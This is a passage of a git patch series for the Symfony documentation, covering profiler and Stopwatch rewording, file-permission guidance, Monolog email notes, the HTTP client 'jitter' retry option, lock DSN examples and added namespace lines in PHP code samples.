@@ -225,3 +336,6 @@ Learn more
 .. _`APCu PHP functions`: https://www.php.net/manual/en/ref.apcu.php
 .. _`cachetool`: https://github.com/gordalina/cachetool
 .. _`open_basedir`: https://www.php.net/manual/ini.core.php#ini.open-basedir
+.. _`Blackfire`: https://blackfire.io/docs/introduction?utm_source=symfony&utm_medium=symfonycom_docs&utm_campaign=performance
+.. _`Stopwatch component`: https://symfony.com/components/Stopwatch
+.. _`real-world stopwatch`: https://en.wikipedia.org/wiki/Stopwatch
diff --git a/profiler.rst b/profiler.rst
index cb8ae679d99..4946ad4ac8a 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -98,23 +98,8 @@ Timing the Execution of the Application
 ---------------------------------------
 
 If you want to measure the time some tasks take in your application, there's no
-need to create a custom data collector. Instead, use the `Stopwatch component`_
-which provides utilities to profile code and displays the results on the
-"Performance" panel of the Profiler web interface.
-
-When using :ref:`autowiring <services-autowire>`, type-hint any argument with
-the :class:`Symfony\\Component\\Stopwatch\\Stopwatch` class and Symfony will
-inject the Stopwatch service. Then, use the ``start()``, ``lap()`` and
-``stop()`` methods to measure time::
-
-    // a user signs up and the timer starts...
-    $stopwatch->start('user-sign-up');
-
-    // ...do things to sign up the user...
-    $stopwatch->lap('user-sign-up');
-
-    // ...the sign up process is finished
-    $stopwatch->stop('user-sign-up');
+need to create a custom data collector. Instead, use the built-in utilities to
+:ref:`profile Symfony applications <profiling-applications>`.
 
 .. tip::
 
@@ -229,5 +214,4 @@ event::
     profiler/data_collector
 
 .. _`Single-page applications`: https://en.wikipedia.org/wiki/Single-page_application
-.. _`Stopwatch component`: https://symfony.com/components/Stopwatch
 .. _`Blackfire`: https://blackfire.io/docs/introduction?utm_source=symfony&utm_medium=symfonycom_docs&utm_campaign=profiler
diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 84e52b0cd35..f44f5043d92 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -601,15 +601,17 @@ trans_default_domain
 
 This will set the default domain in the current template.
 
+.. _reference-twig-tag-stopwatch:
+
 stopwatch
 ~~~~~~~~~
 
 .. code-block:: twig
 
-    {% stopwatch 'name' %}...{% endstopwatch %}
+    {% stopwatch 'event_name' %}...{% endstopwatch %}
 
-This will time the run time of the code inside it and put that on the timeline
-of the WebProfilerBundle.
+This measures the time and memory used to execute some code in the template and
+displays it in the Symfony profiler. See :ref:`how to profile Symfony applications <profiling-applications>`.
 
 .. _reference-twig-tests:
 

From 16550e7c2675693bf01af7be7406acdf0afc3cfa Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 7 Oct 2020 10:55:39 +0200
Subject: [PATCH 1277/7107] Minor tweak

---
 doctrine/multiple_entity_managers.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index 33e0da09cf9..132dbaac4ba 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -287,7 +287,7 @@ The same applies to repository calls::
 .. caution::
 
     One entity can be managed by more than one entity manager. This however
-    result in unexpected behavior when extending from ``ServiceEntityRepository``
+    results in unexpected behavior when extending from ``ServiceEntityRepository``
     in your custom repository. The ``ServiceEntityRepository`` always
     uses the configured entity manager for that entity.
 

From ff086e944c08f9eb49129371c384cb4d238d6c91 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 7 Oct 2020 12:35:48 +0200
Subject: [PATCH 1278/7107] Rewords

---
 setup/file_permissions.rst | 38 +++++++++++++++++---------------------
 1 file changed, 17 insertions(+), 21 deletions(-)

diff --git a/setup/file_permissions.rst b/setup/file_permissions.rst
index d5a7bac7e0b..f3e250fbb9f 100644
--- a/setup/file_permissions.rst
+++ b/setup/file_permissions.rst
@@ -1,36 +1,32 @@
 Setting up or Fixing File Permissions
 =====================================
 
-The ``var/`` directory in a Symfony application is used to store generated
-files (cache and logs) and file-based cache files. In the production
-environment, you often need to add explicit permissions to let Symfony
-write files into this directory.
+Symfony generates certain files in the ``var/`` directory of your project when
+running the application. In the ``dev`` :ref:`environment <configuration-environments>`,
+the ``bin/console`` and ``public/index.php`` files use ``umask()`` to make sure
+that the directory is writable. This means that you don't need to configure
+permissions when developing the application in your local machine.
 
-.. tip::
+However, using ``umask()`` is not considered safe in production. That's why you
+often need to configure some permissions explicitly in your production servers
+as explained in this article.
 
-    In dev environments, ``umask()`` is used in ``bin/console`` and
-    ``public/index.php`` to make sure the directory is writable. However,
-    this is not a safe method and should not be used in production.
+Permissions Required by Symfony Applications
+--------------------------------------------
 
-Setting up File Permissions in Production
------------------------------------------
-
-This section describes the required permissions. See
-:ref:`the next section <setup-file-permissions>` on how to add the
-permissions.
+These are the permissions required to run Symfony applications:
 
 * The ``var/log/`` directory must exist and must be writable by both your
   web server user and the terminal user;
 * The ``var/cache/`` directory must be writable by the terminal user (the
-  user running ``cache:warmup`` or ``cache:clear``). It must also be writable
-  by the web server user if you're using the
-  :doc:`filesystem cache provider </components/cache/adapters/filesystem_adapter>`;
-  or Doctrine query result cache.
+  user running ``cache:warmup`` or ``cache:clear`` commands);
+* The ``var/cache/`` directory must be writable by the web server user if you use
+  a :doc:`filesystem-based cache </components/cache/adapters/filesystem_adapter>`.
 
 .. _setup-file-permissions:
 
-Configuring File Permissions on Linux and macOS System
-------------------------------------------------------
+Configuring Permissions for Symfony Applications
+------------------------------------------------
 
 On Linux and macOS systems, if your web server user is different from your
 command line user, you need to configure permissions properly to avoid issues.
@@ -84,7 +80,7 @@ If none of the previous methods work for you, change the ``umask`` so that the
 cache and log directories are group-writable or world-writable (depending
 if the web server user and the command line user are in the same group or not).
 To achieve this, put the following line at the beginning of the ``bin/console``,
-``web/app.php`` and ``web/app_dev.php`` files::
+and ``public/index.php`` files::
 
     umask(0002); // This will let the permissions be 0775
 

From 2bad79552545666d5032e6aece2fb1109b6c1bba Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 7 Oct 2020 13:19:59 +0200
Subject: [PATCH 1279/7107] Wrap long lines

---
 logging/monolog_email.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/logging/monolog_email.rst b/logging/monolog_email.rst
index 2a07a08f706..22ed4d08928 100644
--- a/logging/monolog_email.rst
+++ b/logging/monolog_email.rst
@@ -6,7 +6,8 @@ How to Configure Monolog to Email Errors
 
 .. versionadded:: 3.6
 
-    Support for emailing errors using :doc:`Symfony mailer </mailer>` was added in MonologBundle 3.6.
+    Support for emailing errors using :doc:`Symfony mailer </mailer>` was added
+    in MonologBundle 3.6.
 
 `Monolog`_ can be configured to send an email when an error occurs within an
 application. The configuration for this requires a few nested handlers

From 70c96fbd581ae767883d8a4bf684c5bc34466561 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 7 Oct 2020 13:22:09 +0200
Subject: [PATCH 1280/7107] Updated caution message

---
 logging/monolog_email.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/logging/monolog_email.rst b/logging/monolog_email.rst
index 5d172ca0428..7822de7c58c 100644
--- a/logging/monolog_email.rst
+++ b/logging/monolog_email.rst
@@ -6,8 +6,8 @@ How to Configure Monolog to Email Errors
 
 .. caution::
 
-    This feature is not compatible yet with the new :doc:`Symfony mailer </mailer>`,
-    so it requires using SwiftMailer.
+    This feature is compatible with the new :doc:`Symfony mailer </mailer>`
+    starting from Symfony 5.1. All previous versions require using SwiftMailer.
 
 `Monolog`_ can be configured to send an email when an error occurs within an
 application. The configuration for this requires a few nested handlers

From 3914a0649a51503fd6de039679a360d457764415 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Wed, 7 Oct 2020 15:54:25 +0200
Subject: [PATCH 1281/7107] Add jitter documentation

---
 reference/configuration/framework.rst | 21 ++++++++++++++++++---
 1 file changed, 18 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index efaff7afcd6..2a02171ff83 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -148,6 +148,7 @@ Configuration
       * `max_delay`_
       * `max_retries`_
       * `multiplier`_
+      * `jitter`_
 
     * `timeout`_
     * `max_duration`_
@@ -164,6 +165,7 @@ Configuration
     * `max_delay`_
     * `max_retries`_
     * `multiplier`_
+    * `jitter`_
 
 * `http_method_override`_
 * `ide`_
@@ -784,7 +786,8 @@ will automaticaly retry failed HTTP requests.
                 max_retries: 2
                 delay: 1000
                 multiplier: 3
-                max_delay: 500
+                max_delay: 5000
+                jitter: 0.3
 
             scoped_clients:
                 my_api.client:
@@ -835,8 +838,8 @@ backoff_service
 The service id used to compute the time to wait between retries. By default, it
 uses an instance of
 :class:`Symfony\\Component\\HttpClient\\Retry\\ExponentialBackOff` configured
-with ``delay``, ``max_delay`` and ``multiplier`` options. This class has to
-implement :class:`Symfony\\Component\\HttpClient\\Retry\\RetryBackOffInterface`.
+with ``delay``, ``max_delay``, ``multiplier`` and ``jitter`` options. This
+class has to implement :class:`Symfony\\Component\\HttpClient\\Retry\\RetryBackOffInterface`.
 
 base_uri
 ........
@@ -969,6 +972,18 @@ http_version
 The HTTP version to use, typically ``'1.1'``  or ``'2.0'``. Leave it to ``null``
 to let Symfony select the best version automatically.
 
+jitter
+......
+
+**type**: ``float`` **default**: ``0.1``
+
+.. versionadded:: 5.2
+
+    The ``jitter`` option was introduced in Symfony 5.2.
+
+The probability (expressed with a float between ``0.0`` and ``1.0``) of
+randomness to apply to the delay to wait between retries.
+
 local_cert
 ..........
 

From f4f5eb9b66b2226838f9c62b413c2edfd54ce130 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Wed, 7 Oct 2020 11:18:17 +0200
Subject: [PATCH 1282/7107] Various fixes

---
 components/lock.rst |  5 ++---
 lock.rst            | 28 ++++++++++++++++------------
 2 files changed, 18 insertions(+), 15 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index 3dfda5c4f07..0e6cd64f036 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -276,8 +276,6 @@ support blocking, and expects a TTL to avoid stalled locks::
 
     Memcached does not support TTL lower than 1 second.
 
-.. _lock-store-pdo:
-
 .. _lock-store-mongodb:
 
 MongoDbStore
@@ -339,6 +337,7 @@ MongoDB Connection String:
     The ``collection`` querystring parameter is not part of the `MongoDB Connection String`_ definition.
     It is used to allow constructing a ``MongoDbStore`` using a `Data Source Name (DSN)`_ without ``$options``.
 
+.. _lock-store-pdo:
 
 PdoStore
 ~~~~~~~~
@@ -350,7 +349,7 @@ support blocking, and expects a TTL to avoid stalled locks::
     use Symfony\Component\Lock\Store\PdoStore;
 
     // a PDO, a Doctrine DBAL connection or DSN for lazy connecting through PDO
-    $databaseConnectionOrDSN = 'mysql:host=127.0.0.1;dbname=lock';
+    $databaseConnectionOrDSN = 'mysql:host=127.0.0.1;dbname=app';
     $store = new PdoStore($databaseConnectionOrDSN, ['db_username' => 'myuser', 'db_password' => 'mypassword']);
 
 .. note::
diff --git a/lock.rst b/lock.rst
index 72fb36dc779..1eb5ce95c64 100644
--- a/lock.rst
+++ b/lock.rst
@@ -56,10 +56,11 @@ this behavior by using the ``lock`` key like:
             lock: 'zookeeper://z1.docker'
             lock: 'zookeeper://z1.docker,z2.docker'
             lock: 'sqlite:///%kernel.project_dir%/var/lock.db'
-            lock: 'mysql:host=127.0.0.1;dbname=lock'
-            lock: 'pgsql:host=127.0.0.1;dbname=lock'
-            lock: 'sqlsrv:server=localhost;Database=test'
-            lock: 'oci:host=localhost;dbname=test'
+            lock: 'mysql:host=127.0.0.1;dbname=app'
+            lock: 'pgsql:host=127.0.0.1;dbname=app'
+            lock: 'sqlsrv:server=127.0.0.1;Database=app'
+            lock: 'oci:host=127.0.0.1;dbname=app'
+            lock: 'mongodb://127.0.0.1/app?collection=lock'
             lock: '%env(LOCK_DSN)%'
 
             # named locks
@@ -102,13 +103,15 @@ this behavior by using the ``lock`` key like:
 
                     <framework:resource>sqlite:///%kernel.project_dir%/var/lock.db</framework:resource>
 
-                    <framework:resource>mysql:host=127.0.0.1;dbname=lock</framework:resource>
+                    <framework:resource>mysql:host=127.0.0.1;dbname=app</framework:resource>
 
-                    <framework:resource>pgsql:host=127.0.0.1;dbname=lock</framework:resource>
+                    <framework:resource>pgsql:host=127.0.0.1;dbname=app</framework:resource>
 
-                    <framework:resource>sqlsrv:server=localhost;Database=test</framework:resource>
+                    <framework:resource>sqlsrv:server=127.0.0.1;Database=app</framework:resource>
 
-                    <framework:resource>oci:host=localhost;dbname=test</framework:resource>
+                    <framework:resource>oci:host=127.0.0.1;dbname=app</framework:resource>
+
+                    <framework:resource>mongodb://127.0.0.1/app?collection=lock</framework:resource>
 
                     <framework:resource>%env(LOCK_DSN)%</framework:resource>
 
@@ -135,10 +138,11 @@ this behavior by using the ``lock`` key like:
             'lock' => 'zookeeper://z1.docker',
             'lock' => 'zookeeper://z1.docker,z2.docker',
             'lock' => 'sqlite:///%kernel.project_dir%/var/lock.db',
-            'lock' => 'mysql:host=127.0.0.1;dbname=lock',
-            'lock' => 'pgsql:host=127.0.0.1;dbname=lock',
-            'lock' => 'sqlsrv:server=localhost;Database=test',
-            'lock' => 'oci:host=localhost;dbname=test',
+            'lock' => 'mysql:host=127.0.0.1;dbname=app',
+            'lock' => 'pgsql:host=127.0.0.1;dbname=app',
+            'lock' => 'sqlsrv:server=127.0.0.1;Database=app',
+            'lock' => 'oci:host=127.0.0.1;dbname=app',
+            'lock' => 'mongodb://127.0.0.1/app?collection=lock',
             'lock' => '%env(LOCK_DSN)%',
 
             // named locks

From 8909cde0a7f8c69b371ff56f77e4a76efe0a1e57 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 7 Oct 2020 16:56:04 +0200
Subject: [PATCH 1283/7107] Reword

---
 reference/configuration/framework.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 2a02171ff83..be472a8fe41 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -975,14 +975,16 @@ to let Symfony select the best version automatically.
 jitter
 ......
 
-**type**: ``float`` **default**: ``0.1``
+**type**: ``float`` **default**: ``0.1`` (must be between 0.0 and 1.0)
 
 .. versionadded:: 5.2
 
     The ``jitter`` option was introduced in Symfony 5.2.
 
-The probability (expressed with a float between ``0.0`` and ``1.0``) of
-randomness to apply to the delay to wait between retries.
+This option adds some randomness to the delay. It's useful to avoid sending
+multiple requests to the server at the exact same time. The randomness is
+calculated as ``delay * jitter``. For example: if delay is ``1000ms`` and jitter
+is ``0.2``, the actual delay will be a number between ``800`` and ``1200`` (1000 +/- 20%).
 
 local_cert
 ..........

From b9b89c0d851132ea2932e37036ca11795e9a7c30 Mon Sep 17 00:00:00 2001
From: gary houbre <ghoubre@sqli.com>
Date: Tue, 6 Oct 2020 09:11:40 +0200
Subject: [PATCH 1284/7107] Fix wording and add missing wording

---
 controller/argument_value_resolver.rst   |  1 +
 controller/error_pages.rst               |  2 +-
 controller/service.rst                   |  4 ++++
 controller/soap_web_service.rst          |  1 +
 controller/upload_file.rst               |  2 ++
 deployment/fortrabbit.rst                |  2 +-
 doctrine/associations.rst                |  1 +
 doctrine/dbal.rst                        |  3 +++
 doctrine/events.rst                      |  2 ++
 doctrine/multiple_entity_managers.rst    |  6 ++++++
 doctrine/resolve_target_entity.rst       | 22 +++++++++++-----------
 form/create_custom_field_type.rst        |  6 ++++++
 form/create_form_type_extension.rst      |  2 ++
 form/dynamic_form_modification.rst       |  2 ++
 form/inherit_data_option.rst             |  4 ++++
 form/type_guesser.rst                    |  3 ++-
 form/use_empty_data.rst                  |  1 +
 http_cache/esi.rst                       |  3 ++-
 http_cache/ssi.rst                       |  3 ++-
 logging/monolog_console.rst              |  3 +++
 logging/processors.rst                   |  1 +
 messenger/dispatch_after_current_bus.rst |  2 ++
 reference/configuration/kernel.rst       |  4 ++++
 23 files changed, 64 insertions(+), 16 deletions(-)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index da209a731df..90763c591c0 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -76,6 +76,7 @@ In the next example, you'll create a value resolver to inject the object that
 represents the current user whenever a controller method type-hints an argument
 with the ``User`` class::
 
+    // src/Controller/UserController.php
     namespace App\Controller;
 
     use App\Entity\User;
diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 613a245ef8d..f3c8256e453 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -208,7 +208,7 @@ JSON/XML/CSV/YAML encoders. When your application throws an exception, Symfony
 can output it in one of those formats. If you want to change the output
 contents, create a new Normalizer that supports the ``FlattenException`` input::
 
-    # src/App/Serializer/MyCustomProblemNormalizer.php
+    # src/Serializer/MyCustomProblemNormalizer.php
     namespace App\Serializer;
 
     use Symfony\Component\ErrorHandler\Exception\FlattenException;
diff --git a/controller/service.rst b/controller/service.rst
index 18ee56ee707..ca2f09b5d70 100644
--- a/controller/service.rst
+++ b/controller/service.rst
@@ -26,6 +26,8 @@ a service like: ``App\Controller\HelloController::index``:
     .. code-block:: php-annotations
 
         // src/Controller/HelloController.php
+        namespace App\Controller;
+
         use Symfony\Component\Routing\Annotation\Route;
 
         class HelloController
@@ -87,6 +89,8 @@ which is a common practice when following the `ADR pattern`_
     .. code-block:: php-annotations
 
         // src/Controller/Hello.php
+        namespace App\Controller;
+
         use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
diff --git a/controller/soap_web_service.rst b/controller/soap_web_service.rst
index 8d1f7ae1f0a..37c72316878 100644
--- a/controller/soap_web_service.rst
+++ b/controller/soap_web_service.rst
@@ -57,6 +57,7 @@ Finally, below is an example of a controller that is capable of handling a SOAP
 request. Because ``index()`` is accessible via ``/soap``, the WSDL document
 can be retrieved via ``/soap?wsdl``::
 
+    // src/Controller/HelloServiceController.php
     namespace App\Controller;
 
     use App\Service\HelloService;
diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index a50368e9f93..dad80ee957d 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -327,6 +327,8 @@ Then, define a service for this class:
 Now you're ready to use this service in the controller::
 
     // src/Controller/ProductController.php
+    namespace App\Controller;
+
     use App\Service\FileUploader;
     use Symfony\Component\HttpFoundation\Request;
 
diff --git a/deployment/fortrabbit.rst b/deployment/fortrabbit.rst
index f13bf4f0ad4..d2aedab9598 100644
--- a/deployment/fortrabbit.rst
+++ b/deployment/fortrabbit.rst
@@ -9,4 +9,4 @@ Deploying to fortrabbit
 For details on deploying to fortrabbit, see their official documentation:
 `Install Symfony`_
 
-.. _`Install Symfony`: https://help.fortrabbit.com/install-symfony-3-uni
+.. _`Install Symfony`: https://help.fortrabbit.com/install-symfony-5-uni
diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index 017f5903391..8bdddab536b 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -548,6 +548,7 @@ What about *removing* a ``Product`` from a ``Category``? The ``make:entity`` com
 also generated a ``removeProduct()`` method::
 
     // src/Entity/Category.php
+    namespace App\Entity;
 
     // ...
     class Category
diff --git a/doctrine/dbal.rst b/doctrine/dbal.rst
index 8487ffdce91..3d451fb4af6 100644
--- a/doctrine/dbal.rst
+++ b/doctrine/dbal.rst
@@ -44,6 +44,9 @@ if you *don't* want to use the Doctrine ORM.
 You can then access the Doctrine DBAL connection by autowiring the ``Connection``
 object::
 
+    // src/Controller/UserController.php
+    namespace App\Controller;
+
     use Doctrine\DBAL\Driver\Connection;
 
     class UserController extends AbstractController
diff --git a/doctrine/events.rst b/doctrine/events.rst
index 9b44b35cba1..1ce0bfa8ac0 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -56,6 +56,8 @@ define a callback for the ``prePersist`` Doctrine event:
     .. code-block:: php-annotations
 
         // src/Entity/Product.php
+        namespace App\Entity;
+
         use Doctrine\ORM\Mapping as ORM;
 
         // When using annotations, don't forget to add @ORM\HasLifecycleCallbacks()
diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index 132dbaac4ba..faffc480877 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -230,6 +230,9 @@ When working with multiple entity managers to generate migrations:
 If you *do* omit the entity manager's name when asking for it,
 the default entity manager (i.e. ``default``) is returned::
 
+    // src/Controller/UserController.php
+    namespace App\Controller;
+
     // ...
 
     use Doctrine\ORM\EntityManagerInterface;
@@ -256,6 +259,9 @@ entity manager to persist and fetch its entities.
 
 The same applies to repository calls::
 
+    // src/Controller/UserController.php
+    namespace App\Controller;
+
     use AcmeStoreBundle\Entity\Customer;
     use AcmeStoreBundle\Entity\Product;
     // ...
diff --git a/doctrine/resolve_target_entity.rst b/doctrine/resolve_target_entity.rst
index a60dfe3e604..36038fd9f3c 100644
--- a/doctrine/resolve_target_entity.rst
+++ b/doctrine/resolve_target_entity.rst
@@ -42,8 +42,8 @@ A Customer entity::
     // src/Entity/Customer.php
     namespace App\Entity;
 
-    use Acme\CustomerBundle\Entity\Customer as BaseCustomer;
-    use Acme\InvoiceBundle\Model\InvoiceSubjectInterface;
+    use App\Entity\CustomerInterface as BaseCustomer;
+    use App\Model\InvoiceSubjectInterface;
     use Doctrine\ORM\Mapping as ORM;
 
     /**
@@ -58,10 +58,10 @@ A Customer entity::
 
 An Invoice entity::
 
-    // src/Acme/InvoiceBundle/Entity/Invoice.php
-    namespace Acme\InvoiceBundle\Entity;
+    // src/Entity/Invoice.php
+    namespace App\Entity;
 
-    use Acme\InvoiceBundle\Model\InvoiceSubjectInterface;
+    use App\Model\InvoiceSubjectInterface;
     use Doctrine\ORM\Mapping as ORM;
 
     /**
@@ -73,7 +73,7 @@ An Invoice entity::
     class Invoice
     {
         /**
-         * @ORM\ManyToOne(targetEntity="Acme\InvoiceBundle\Model\InvoiceSubjectInterface")
+         * @ORM\ManyToOne(targetEntity="App\Model\InvoiceSubjectInterface")
          * @var InvoiceSubjectInterface
          */
         protected $subject;
@@ -81,8 +81,8 @@ An Invoice entity::
 
 An InvoiceSubjectInterface::
 
-    // src/Acme/InvoiceBundle/Model/InvoiceSubjectInterface.php
-    namespace Acme\InvoiceBundle\Model;
+    // src/Model/InvoiceSubjectInterface.php
+    namespace App\Model;
 
     /**
      * An interface that the invoice Subject object should implement.
@@ -115,7 +115,7 @@ about the replacement:
             orm:
                 # ...
                 resolve_target_entities:
-                    Acme\InvoiceBundle\Model\InvoiceSubjectInterface: App\Entity\Customer
+                    App\Model\InvoiceSubjectInterface: App\Entity\Customer
 
     .. code-block:: xml
 
@@ -132,7 +132,7 @@ about the replacement:
             <doctrine:config>
                 <doctrine:orm>
                     <!-- ... -->
-                    <doctrine:resolve-target-entity interface="Acme\InvoiceBundle\Model\InvoiceSubjectInterface">App\Entity\Customer</doctrine:resolve-target-entity>
+                    <doctrine:resolve-target-entity interface="App\Model\InvoiceSubjectInterface">App\Entity\Customer</doctrine:resolve-target-entity>
                 </doctrine:orm>
             </doctrine:config>
         </container>
@@ -140,8 +140,8 @@ about the replacement:
     .. code-block:: php
 
         // config/packages/doctrine.php
-        use Acme\InvoiceBundle\Model\InvoiceSubjectInterface;
         use App\Entity\Customer;
+        use App\Model\InvoiceSubjectInterface;
 
         $container->loadFromExtension('doctrine', [
             'orm' => [
diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index b17add4b3d7..58e265fd2ad 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -287,6 +287,8 @@ to define, validate and process their values::
 Now you can configure these options when using the form type::
 
     // src/Form/Type/OrderType.php
+    namespace App\Form\Type;
+
     // ...
 
     class OrderType extends AbstractType
@@ -310,6 +312,8 @@ Now you can configure these options when using the form type::
 The last step is to use these options when building the form::
 
     // src/Form/Type/PostalAddressType.php
+    namespace App\Form\Type;
+
     // ...
 
     class PostalAddressType extends AbstractType
@@ -453,6 +457,8 @@ defined by the form or be completely independent::
 
 
     // src/Form/Type/PostalAddressType.php
+    namespace App\Form\Type;
+
     use Doctrine\ORM\EntityManagerInterface;
     // ...
 
diff --git a/form/create_form_type_extension.rst b/form/create_form_type_extension.rst
index fb1cd2e02b2..59b1c06e9fe 100644
--- a/form/create_form_type_extension.rst
+++ b/form/create_form_type_extension.rst
@@ -251,6 +251,8 @@ may not be applied to it.
 Another option is to return multiple form types in the ``getExtendedTypes()``
 method to extend all of them::
 
+    // src/Form/Extension/DateTimeExtension.php
+    namespace App\Form\Extension;
     // ...
     use Symfony\Component\Form\Extension\Core\Type\DateTimeType;
     use Symfony\Component\Form\Extension\Core\Type\DateType;
diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index f2b37cb07c5..69339480248 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -255,6 +255,8 @@ Now that you have all the basics in place you can use the features of the
 security helper to fill in the listener logic::
 
     // src/Form/Type/FriendMessageFormType.php
+    namespace App\Form\Type;
+
     use App\Entity\User;
     use Doctrine\ORM\EntityRepository;
     use Symfony\Bridge\Doctrine\Form\Type\EntityType;
diff --git a/form/inherit_data_option.rst b/form/inherit_data_option.rst
index 113e66d6381..3321ab2153a 100644
--- a/form/inherit_data_option.rst
+++ b/form/inherit_data_option.rst
@@ -126,6 +126,8 @@ access the properties of the ``Customer`` instance instead. Convenient, eh?
 Finally, make this work by adding the location form to your two original forms::
 
     // src/Form/Type/CompanyType.php
+    namespace App\Form\Type;
+
     use App\Entity\Company;
     // ...
 
@@ -141,6 +143,8 @@ Finally, make this work by adding the location form to your two original forms::
 .. code-block:: php
 
     // src/Form/Type/CustomerType.php
+    namespace App\Form\Type;
+
     use App\Entity\Customer;
     // ...
 
diff --git a/form/type_guesser.rst b/form/type_guesser.rst
index b842e12a9ad..f990aad4115 100644
--- a/form/type_guesser.rst
+++ b/form/type_guesser.rst
@@ -82,6 +82,7 @@ The ``TypeGuess`` constructor requires three options:
 With this knowledge, you can implement the ``guessType()`` method of the
 ``PHPDocTypeGuesser``::
 
+    // src/Form/TypeGuesser/PHPDocTypeGuesser.php
     namespace App\Form\TypeGuesser;
 
     use Symfony\Component\Form\Extension\Core\Type\CheckboxType;
@@ -221,7 +222,7 @@ and tag it with ``form.type_guesser``:
     :method:`Symfony\\Component\\Form\\FormFactoryBuilder::addTypeGuessers` of
     the ``FormFactoryBuilder`` to register new type guessers::
 
-        use Acme\Form\PHPDocTypeGuesser;
+        use App\Form\TypeGuesser\PHPDocTypeGuesser;
         use Symfony\Component\Form\Forms;
 
         $formFactory = Forms::createFormFactoryBuilder()
diff --git a/form/use_empty_data.rst b/form/use_empty_data.rst
index c186396f8e4..6a567286094 100644
--- a/form/use_empty_data.rst
+++ b/form/use_empty_data.rst
@@ -44,6 +44,7 @@ that takes arguments. Remember, the default ``data_class`` option calls
 that constructor with no arguments::
 
     // src/Form/Type/BlogType.php
+    namespace App\Form\Type;
 
     // ...
     use App\Entity\Blog;
diff --git a/http_cache/esi.rst b/http_cache/esi.rst
index 31b4c354e37..621f604ea95 100644
--- a/http_cache/esi.rst
+++ b/http_cache/esi.rst
@@ -98,7 +98,8 @@ ticker at the bottom of the content. With ESI, you can cache the news ticker
 independently of the rest of the page::
 
     // src/Controller/DefaultController.php
-
+    namespace App\Controller;
+    
     // ...
     class DefaultController extends AbstractController
     {
diff --git a/http_cache/ssi.rst b/http_cache/ssi.rst
index 7397c7b0a5e..94bab702db4 100644
--- a/http_cache/ssi.rst
+++ b/http_cache/ssi.rst
@@ -85,7 +85,8 @@ to cache a static GDPR content block. With SSI, you can add some expiration
 on this block and keep the page private::
 
     // src/Controller/ProfileController.php
-
+    namespace App\Controller;
+    
     // ...
     class ProfileController extends AbstractController
     {
diff --git a/logging/monolog_console.rst b/logging/monolog_console.rst
index 9eb8b28b062..5c0263c5349 100644
--- a/logging/monolog_console.rst
+++ b/logging/monolog_console.rst
@@ -35,6 +35,9 @@ the current log level and the console verbosity.
 
 The example above could then be rewritten as::
 
+    // src/Command/YourCommand.php
+    namespace App\Command;
+
     use Psr\Log\LoggerInterface;
     use Symfony\Component\Console\Command\Command;
     use Symfony\Component\Console\Input\InputInterface;
diff --git a/logging/processors.rst b/logging/processors.rst
index f2b889461ec..9f46326ddaa 100644
--- a/logging/processors.rst
+++ b/logging/processors.rst
@@ -16,6 +16,7 @@ Sometimes it is hard to tell which entries in the log belong to which session
 and/or request. The following example will add a unique token for each request
 using a processor::
 
+    // src/Logger/SessionRequestProcessor.php
     namespace App\Logger;
 
     use Symfony\Component\HttpFoundation\Session\SessionInterface;
diff --git a/messenger/dispatch_after_current_bus.rst b/messenger/dispatch_after_current_bus.rst
index c2b85c2aaad..e382f49eed3 100644
--- a/messenger/dispatch_after_current_bus.rst
+++ b/messenger/dispatch_after_current_bus.rst
@@ -44,6 +44,7 @@ are dispatched by a handler once that handler has fully finished. This can be by
 using the ``DispatchAfterCurrentBusMiddleware`` and adding a
 ``DispatchAfterCurrentBusStamp`` stamp to :ref:`the message Envelope <messenger-envelopes>`::
 
